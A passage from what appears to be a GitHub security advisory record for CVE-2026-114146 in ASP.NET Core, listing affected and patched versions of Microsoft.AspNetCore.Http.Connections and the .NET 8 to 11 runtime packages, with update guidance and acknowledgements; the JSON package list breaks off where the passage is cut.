Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## <a name=\"affected-packages\"></a>Affected Packages\n\nThe tables list affected version ranges and fixed package versions. Runtime and standalone deliveries are listed separately.\n\n### ASP.NET Core 2.3 - standalone packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.Http.Connections](https://www.nuget.org/packages/Microsoft.AspNetCore.Http.Connections) | >= 1.2.0, <= 1.2.13 | 1.2.14\n\n### .NET 8.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 8.0.0-preview.1.23112.2, <= 8.0.33 | 8.0.34\n\n### .NET 9.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 9.0.0-preview.1.24081.5, <= 9.0.22 | 9.0.23\n\n### .NET 10.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 10.0.0-preview.1.25120.3, <= 10.0.14 | 10.0.15\n\n### .NET 11.0 - affected runtime packages\n\nPackage | Affected version | Patched version\n--- | --- | ---\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | >= 11.0.0-preview.1.26104.118, <= 11.0.0-rc.3.26522.148 | 11.0.0\n\n## Advisory FAQ\n\n### <a name=\"how-affected\"></a>How do I know if I am affected?\n\nCheck the deployed runtime and application package versions against the affected ranges above. Self-contained applications include their own runtime; updating a machine-wide runtime does not replace it.\n\n### <a name=\"how-fix\"></a>How do I fix the issue?\n\nInstall the applicable runtime or update each independently referenced package to the fixed version above. After updating standalone packages, rebuild and redeploy affected applications, including framework-dependent applications; restarting alone does not replace app-local packages. Restart applications. Rebuild and redeploy self-contained applications; updating a machine-wide runtime does not replace their embedded runtime. An SDK update alone does not update an application's standalone package references.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-114146](https://www.cve.org/CVERecord?id=CVE-2026-114146)\n\n### Acknowledgements\n\n- Mika Vehns with MIVE GmbH\n- Lucas Gabriel\n- [hsuan0223x](https://x.com/hsuan0223x)\n- Mariusz Maik\n- [Pocas (Jeongwon Jo)](https://x.com/pocas142)\n- Grace Chapel\n- [Jacob Keith](https://hackerone.com/cratitoes) with Keith Systems\n- [Weeraphat Srisutham](https://linkedin.com/in/weeraphat-srisutham)\n- [Kevin Gosse](https://x.com/kookiz/)\n- Artur Stetsko\n- [Yudai Shibata](https://x.com/yudaishibata)\n- [71C4](https://www.linkedin.com/in/navaponpremkasem/)\n- Attila Csatadi of ZeroDayBugs.com\n- Vu Van Tien ( @n0_Be3r )\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.","affected":[{"package":{"name":"Microsoft.AspNetCore.Http.Connections","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.Http.Connections"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.0"},{"fixed":"1.2.14"}]}],"versions":["1.2.0","1.2.10","1.2.11","1.2.12","1.2.13","1.2.8","1.2.9"],"database_specific":{"last_known_affected_version_range":"<= 1.2.13","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.win-x86","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.win-x86"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0-preview.1.23112.2"},{"fixed":"8.0.34"}]}],"versions":["8.0.0","8.0.1","8.0.10","8.0.11","8.0.12","8.0.13","8.0.14","8.0.15","8.0.16","8.0.17","8.0.18","8.0.19","8.0.2","8.0.20","8.0.21","8.0.22","8.0.23","8.0.24","8.0.25","8.0.26","8.0.27","8.0.28","8.0.29","8.0.3","8.0.30","8.0.31","8.0.32","8.0.33","8.0.4","8.0.5","8.0.6","8.0.7","8.0.8"],"database_specific":{"last_known_affected_version_range":"<= 8.0.33","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-musl-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-musl-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.linux-x64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.linux-x64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 9.0.22","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-67wp-ghc2-fw2g/GHSA-67wp-ghc2-fw2g.json"}},{"package":{"name":"Microsoft.AspNetCore.App.Runtime.osx-arm64","ecosystem":"NuGet","purl":"pkg:nuget/Microsoft.AspNetCore.App.Runtime.osx-arm64"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.0.0-preview.1.24081.5"},{"fixed":"9.0.23"}]}],"versions":["9.0.0","9.0.1","9.0.10","9.0.11","9.0.12","9.0.13","9.0.14","9.0.15","9.0.16","9.0.17","9.0.18","9.0.19","9.0.2","9.0.20","9.0.21","9.0.22","9.0.3","9.0.4","9.0.5","9.0.6","9.0.7","9.0.8","9.0.9"],"database_specific":{"last_known_affected_version_range":"<= 